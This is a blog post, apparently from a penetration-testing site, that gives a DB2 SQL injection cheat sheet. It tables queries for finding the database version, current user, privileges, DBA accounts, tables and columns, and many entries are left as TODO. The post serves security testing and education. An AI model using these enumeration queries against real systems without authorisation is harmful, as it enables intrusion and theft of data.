Categories

- Blog (78)
- Cheat Sheets (10)
  - Shells (1)
  - SQL Injection (7)
- Contact (2)
- Site News (3)
- Tools (17)
  - Audit (3)
  - Misc (7)
  - User Enumeration (4)
  - Web Shells (3)
- Uncategorized (3)
- Yaptest (15)
  - Front End (1)
  - Installing (2)
  - Overview (2)
  - Using (8)

RSS Feed

DB2 SQL Injection Cheat Sheet

Finding a SQL injection vulnerability in a web application backed by DB2 isn't too common in my experience. When you do find one, though it pays to be prepared…

Below are some tabulated notes on how to do many of thing you'd normally do via SQL injection. All tests were performed on DB2 8.2 under Windows.

This post is part of series of SQL Injection Cheat Sheets. In this series, I've endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend. This helps to highlight any features which are lacking for each database, and enumeration techniques that don't apply and also areas that I haven't got round to researching yet.

The complete list of SQL Injection Cheat Sheets I'm working is:

- Oracle
- MSSQL
- MySQL
- PostgreSQL
- Ingres
- DB2
- Informix

I'm not planning to write one for MS Access, but there's a great MS Access Cheat Sheet here.

Some of the queries in the table below can only be run by an admin. These are marked with "– priv" at the end of the query.

Version	select versionnumber, version_timestamp from sysibm.sysversions;
Comments	select blah from foo; — comment like this

Current User	select user from sysibm.sysdummy1; select session_user from sysibm.sysdummy1; select system_user from sysibm.sysdummy1;
List Users	N/A (I think DB2 uses OS-level user accounts for authentication.)Database authorities (like roles, I think) can be listed like this: select grantee from syscat.dbauth;
List Password Hashes	N/A (I think DB2 uses OS-level user accounts for authentication.)

List Privileges	select * from syscat.tabauth; — privs on tables
	select * from syscat.dbauth where grantee = current user;
	select * from syscat.tabauth where grantee = current user;
	select * from SYSIBM.SYSUSERAUTH – List db2 system privilegies

List DBA Accounts	select name from SYSIBM.SYSUSERAUTH where SYSADMAUTH = 'Y' or SYSADMAUTH = 'G'
Current Database	select current server from sysibm.sysdummy1;
List Databases	SELECT schemaname FROM syscat.schemata;
List Columns	select name, tbname, coltype from sysibm.syscolumns;
List Tables	select name from sysibm.systables;
Find Tables From Column Name	select tbname from sysibm.syscolumns where name='username'
Select Nth Row	select name from (SELECT name FROM sysibm.systables order by name fetch first N+M-1 rows only) sq order by name desc fetch first N rows only;
Select Nth Char	SELECT SUBSTR('abc',2,1) FROM sysibm.sysdummy1; — returns b
Bitwise AND	This page seems to indicate that DB2 has no support for bitwise operators!
ASCII Value -> Char	select chr(65) from sysibm.sysdummy1; — returns 'A'
Char -> ASCII Value	select ascii('A') from sysibm.sysdummy1; — returns 65

Casting	SELECT cast('123′ as integer) FROM sysibm.sysdummy1; SELECT cast(1 as char) FROM sysibm.sysdummy1;
String Concatenation	SELECT 'a' concat 'b' concat 'c' FROM sysibm.sysdummy1; — returns 'abc' select 'a' || 'b' from sysibm.sysdummy1; — returns 'ab'
If Statement	TODO
Case Statement	TODO
Avoiding Quotes	TODO
Time Delay	???See Heavy Queries article for some ideas.
Make DNS Requests	TODO
Command Execution	TODO
Local File Access	TODO
Hostname, IP Address	TODO
Location of DB files	TODO
Default/System Databases	TODO

This page will probably remain a work-in-progress for some time yet. I'll update it as I learn more.

Thanks

Pentestmonkey gratefully acknowledges the contributions of:

r22mvk

Adrián for figuring out lots of the TODO items above:
http://securityetalii.es/2012/05/20/db2-sql-injection-cheat-sheet/

Tags: cheatsheet, database, db2, pentest, sqlinjection

Posted in SQL Injection